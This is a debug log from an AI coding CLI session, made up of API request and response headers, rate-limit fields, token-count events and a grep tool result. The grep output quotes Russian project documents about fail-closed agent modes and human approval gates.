[STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:47:49.079Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:47:49.082Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:49.088Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:49.093Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:49.098Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:49.105Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:49.108Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:49.111Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:49.114Z] [STDOUT]     },\n[2026-09-29T07:47:49.121Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:49.127Z] [STDOUT]   },\n[2026-09-29T07:47:49.130Z] [STDOUT]   headers: {\n[2026-09-29T07:47:49.132Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:49.135Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:49.140Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:49.144Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:49.148Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:49.151Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:49.157Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:49.161Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:49.173Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:49.182Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:47:49.184Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:47:49.189Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1295\",\n[2026-09-29T07:47:49.193Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:49.197Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:47:49.201Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:49.205Z] [STDOUT]     \"x-client-request-id\": \"75bda6e4-c148-48c2-bc52-33db48893213\",\n[2026-09-29T07:47:49.210Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:49.213Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:49.220Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:49.224Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:49.231Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:49.245Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:49.248Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:49.257Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:49.261Z] [STDOUT]   },\n[2026-09-29T07:47:49.272Z] [STDOUT] }\n[2026-09-29T07:47:49.501Z] [INFO] {\n[2026-09-29T07:47:49.501Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:49.501Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:49.501Z] [INFO]   \"estimated_tokens\": 300,\n[2026-09-29T07:47:49.501Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:49.501Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:49.501Z] [INFO]   \"uuid\": \"07db2ca0-1ca6-4f12-ac3c-344e18a1960e\"\n[2026-09-29T07:47:49.501Z] [INFO] }\n[2026-09-29T07:47:49.665Z] [STDOUT] [log_98d68e, request-id: \"req_011CfXMwPJ1vJUgVLMf3Nf5u\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 745ms\n[2026-09-29T07:47:49.670Z] [STDOUT] [log_98d68e] response start {\n[2026-09-29T07:47:49.675Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:49.679Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:49.683Z] [STDOUT]   headers: {\n[2026-09-29T07:47:49.686Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:49.689Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:49.697Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:49.701Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:49.705Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:49.714Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:49.719Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:49.723Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:49.728Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:49.735Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:49.746Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:49.760Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:49.765Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:49.774Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:49.780Z] [STDOUT]     \"anthropic-thinking-prefix-mismatch\": \"kind=not_recorded; pattern=not_applicable; block=messages.2.content.0; removed=0; inserted=0; modified=0\",\n[2026-09-29T07:47:49.786Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:49.792Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:49.808Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:49.816Z] [STDOUT]     \"cf-ray\": \"a42961c7088b29ad-FRA\",\n[2026-09-29T07:47:49.828Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:49.840Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:49.859Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:49.868Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:49.874Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:49 GMT\",\n[2026-09-29T07:47:49.880Z] [STDOUT]     \"request-id\": \"req_011CfXMwPJ1vJUgVLMf3Nf5u\",\n[2026-09-29T07:47:49.888Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:49.891Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:49.896Z] [STDOUT]     traceresponse: \"00-d9ff857e1e2ea9650e743bba016113b8-9498da76c8a17d29-01\",\n[2026-09-29T07:47:49.901Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:49.906Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:49.912Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:49.931Z] [STDOUT]   },\n[2026-09-29T07:47:49.940Z] [STDOUT]   durationMs: 745,\n[2026-09-29T07:47:49.947Z] [STDOUT] }\n[2026-09-29T07:47:49.955Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:49.958Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:49 GMT\",\n[2026-09-29T07:47:49.981Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:49.984Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:49.991Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:49.996Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:49.998Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:50.009Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:50.013Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:50.037Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:50.051Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:50.064Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:50.066Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:50.070Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:50.076Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:50.082Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:50.086Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:50.093Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:50.097Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:50.110Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:50.113Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:50.119Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:50.124Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:50.140Z] [STDOUT]   \"request-id\": \"req_011CfXMwPJ1vJUgVLMf3Nf5u\",\n[2026-09-29T07:47:50.169Z] [STDOUT]   \"traceresponse\": \"00-d9ff857e1e2ea9650e743bba016113b8-9498da76c8a17d29-01\",\n[2026-09-29T07:47:50.172Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:50.176Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:50.180Z] [STDOUT]   \"anthropic-thinking-prefix-mismatch\": \"kind=not_recorded; pattern=not_applicable; block=messages.2.content.0; removed=0; inserted=0; modified=0\",\n[2026-09-29T07:47:50.203Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:50.208Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:50.212Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:50.222Z] [STDOUT]   \"cf-ray\": \"a42961c7088b29ad-FRA\",\n[2026-09-29T07:47:50.228Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:50.238Z] [STDOUT] [log_98d68e] response parsed {\n[2026-09-29T07:47:50.254Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:50.260Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:50.263Z] [STDOUT]   body: X {\n[2026-09-29T07:47:50.267Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:50.271Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:50.277Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:50.282Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:50.286Z] [STDOUT]     },\n[2026-09-29T07:47:50.289Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:50.292Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:50.295Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:50.301Z] [STDOUT]   },\n[2026-09-29T07:47:50.305Z] [STDOUT]   durationMs: 746,\n[2026-09-29T07:47:50.311Z] [STDOUT] }\n[2026-09-29T07:47:50.361Z] [INFO] {\n[2026-09-29T07:47:50.361Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:50.361Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:50.361Z] [INFO]   \"estimated_tokens\": 400,\n[2026-09-29T07:47:50.361Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:50.361Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:50.361Z] [INFO]   \"uuid\": \"6df77bbb-4b19-486a-a9b1-86d5b44d9624\"\n[2026-09-29T07:47:50.361Z] [INFO] }\n[2026-09-29T07:47:50.366Z] [INFO] {\n[2026-09-29T07:47:50.366Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:50.366Z] [INFO]   \"message\": {\n[2026-09-29T07:47:50.366Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:50.366Z] [INFO]     \"id\": \"msg_011CfXMw8qceYJ7mdSYJ22Sr\",\n[2026-09-29T07:47:50.366Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:50.366Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:50.366Z] [INFO]     \"content\": [\n[2026-09-29T07:47:50.366Z] [INFO]       {\n[2026-09-29T07:47:50.366Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:47:50.366Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:47:50.366Z] [INFO]         \"signature\": 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\"cf-ray\": \"a42961df3d80dbb5-FRA\",\n[2026-09-29T07:47:53.732Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:53.748Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:53.755Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:53.759Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:53.763Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:53 GMT\",\n[2026-09-29T07:47:53.771Z] [STDOUT]     \"request-id\": \"req_011CfXMwfu97VZHSFVULtVRG\",\n[2026-09-29T07:47:53.776Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:53.785Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:53.790Z] [STDOUT]     traceresponse: \"00-8e79c2241e824a72f711b19dce6be79f-3c3c0f6ea80002c2-01\",\n[2026-09-29T07:47:53.793Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:53.801Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:53.807Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:53.812Z] [STDOUT]   },\n[2026-09-29T07:47:53.816Z] [STDOUT]   durationMs: 692,\n[2026-09-29T07:47:53.829Z] [STDOUT] }\n[2026-09-29T07:47:53.846Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:53.851Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:53 GMT\",\n[2026-09-29T07:47:53.860Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:53.863Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:53.865Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:53.868Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:53.870Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:53.877Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:53.882Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:53.893Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:53.902Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:53.906Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:53.914Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:53.917Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:53.923Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:53.928Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:53.931Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:53.936Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:53.941Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:53.946Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:53.953Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:53.959Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:53.966Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:53.969Z] [STDOUT]   \"request-id\": \"req_011CfXMwfu97VZHSFVULtVRG\",\n[2026-09-29T07:47:53.976Z] [STDOUT]   \"traceresponse\": \"00-8e79c2241e824a72f711b19dce6be79f-3c3c0f6ea80002c2-01\",\n[2026-09-29T07:47:53.982Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:53.989Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:53.999Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:54.002Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:54.010Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:54.021Z] [STDOUT]   \"cf-ray\": \"a42961df3d80dbb5-FRA\",\n[2026-09-29T07:47:54.029Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:54.040Z] [STDOUT] [log_5d60a7] response parsed {\n[2026-09-29T07:47:54.049Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:54.060Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:54.062Z] [STDOUT]   body: X {\n[2026-09-29T07:47:54.067Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:54.072Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:54.076Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:54.080Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:54.084Z] [STDOUT]     },\n[2026-09-29T07:47:54.088Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:54.091Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:54.097Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:54.100Z] [STDOUT]   },\n[2026-09-29T07:47:54.103Z] [STDOUT]   durationMs: 700,\n[2026-09-29T07:47:54.112Z] [STDOUT] }\n[2026-09-29T07:47:54.120Z] [INFO] {\n[2026-09-29T07:47:54.120Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:54.120Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:54.120Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:47:54.120Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:54.120Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:54.120Z] [INFO]   \"uuid\": \"298b6cee-cba9-459e-adb6-fdee711da089\"\n[2026-09-29T07:47:54.120Z] [INFO] }\n[2026-09-29T07:47:54.131Z] [INFO] {\n[2026-09-29T07:47:54.131Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:47:54.131Z] [INFO]   \"message\": {\n[2026-09-29T07:47:54.131Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:47:54.131Z] [INFO]     \"content\": [\n[2026-09-29T07:47:54.131Z] [INFO]       {\n[2026-09-29T07:47:54.131Z] [INFO]         \"tool_use_id\": \"toolu_01DPFycJVvAZmjuVuLmU15Q9\",\n[2026-09-29T07:47:54.131Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:47:54.131Z] [INFO]         \"content\": \"14:> \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0425\u0430\u0431\u0430. \u0412 Structured \u0440\u0435\u0436\u0438\u043c\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 fail-closed; \u0432 Creative \u0440\u0435\u0436\u0438\u043c\u0435\\n33:### Fail-Closed Semantics (\u041a\u0420\u0418\u0422\u0418\u0427\u041d\u041e)\\n42:\u041a\u043e\u0440\u043e\u0442\u043a\u043e: **Structured = fail-closed**. \u0415\u0441\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u2014 \u0430\u0433\u0435\u043d\u0442 \u043d\u0435\\n---\\n20:# ADR-009: \u041c\u043d\u043e\u0433\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f BCREQ \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, human gates, \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n33:\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432**), **human gates \u0432 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0442\u043e\u0447\u043a\u0430\u0445**, **\u0436\u0451\u0441\u0442\u043a\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435** \u2014\\n50:BCREQ, \u0433\u0434\u0435 \u0441\u0442\u043e\u044f\u0442 **human gates** \u0438 \u043a\u0430\u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u0435\u0434\u0451\u0442 \u0441\u0435\u0431\u044f, \u043a\u043e\u0433\u0434\u0430 **\u0447\u0430\u0441\u0442\u044c \u0434\u0435\u0440\u0435\u0432\u0430\\n79:| \u2116 | \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 | \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | \u041f\u0440\u043e\u0446\u0435\u0441\u0441 | \u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u0416\u0426 | Gate |\\n91:  \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 human gate (\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438, \u043f\u0440\u0438\u0451\u043c\u043a\u0430 \u0440\u0438\u0441\u043a\u043e\u0432, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435).\\n93:  (\u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u0435\u0440\u0435\u0432\u0430 \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435); governance-overhead \u0440\u0430\u0441\u0442\u0451\u0442 \u0441 \u0447\u0438\u0441\u043b\u043e\u043c gate \u2014 \u0447\u0438\u0441\u043b\u043e\\n99:  `baselined`, \u043d\u0435\u0441\u0443\u0449\u0438\u0439 \u0432\u0441\u0435 human gate \u043d\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0433\u0440\u0430\u043d\u0438\u0446\u0430\u0445 \u0438 \u043e\u0441\u0442\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u0434\u0430\u043b\u0435\u043a\u043e\\n101:  (\u041f3 \u043f\u0440\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432), \u043d\u043e \u043d\u0435 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0441 human gate (B2).\\n117:### 3. Human gates \u0432 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0442\u043e\u0447\u043a\u0430\u0445\\n119:\u0422\u0440\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 human gate \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u044b \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c-\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\u043c `\u0447\u0435\u043b\u043e\u0432\u0435\u043a`\\n122:\u00abgate\u00bb \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 gateway/\u0442\u043e\u0447\u043a\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043d\u043e\u0439 \u043d\u043e\u0442\u0430\u0446\u0438\u0438 OMG BPMN 2.0.\\n132:\u0433\u0440\u0430\u043d\u0438\u0446\u044b \u2014 operation gate.\\n---\\nruns/2026/RUN-0013/metadata.yaml:10:tokens_input: 794\u2026te: \\\"0.62 (75 \u0438\u0437 121 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u0411\u0410 \u0431\u0435\u0437 \u044f\u0432\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438/\u043a\u0440\u0438\u0442\u0438\u043a\u0438; \u043e\u0446\u0435\u043d\u043a\u0430 \u043f\u043e \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u043c \u0432 \u0440\u0435\u043f\u043b\u0438\u043a\u0430\u0445 \u0411\u0410, \u0441\u043c. logs/experiment-log.md)\\\"\\nruns/2026/RUN-0062/metadata.yaml:1:run_id: RUN-0062\\nruns/2026/RUN-0065/metadata.yaml:31:  - 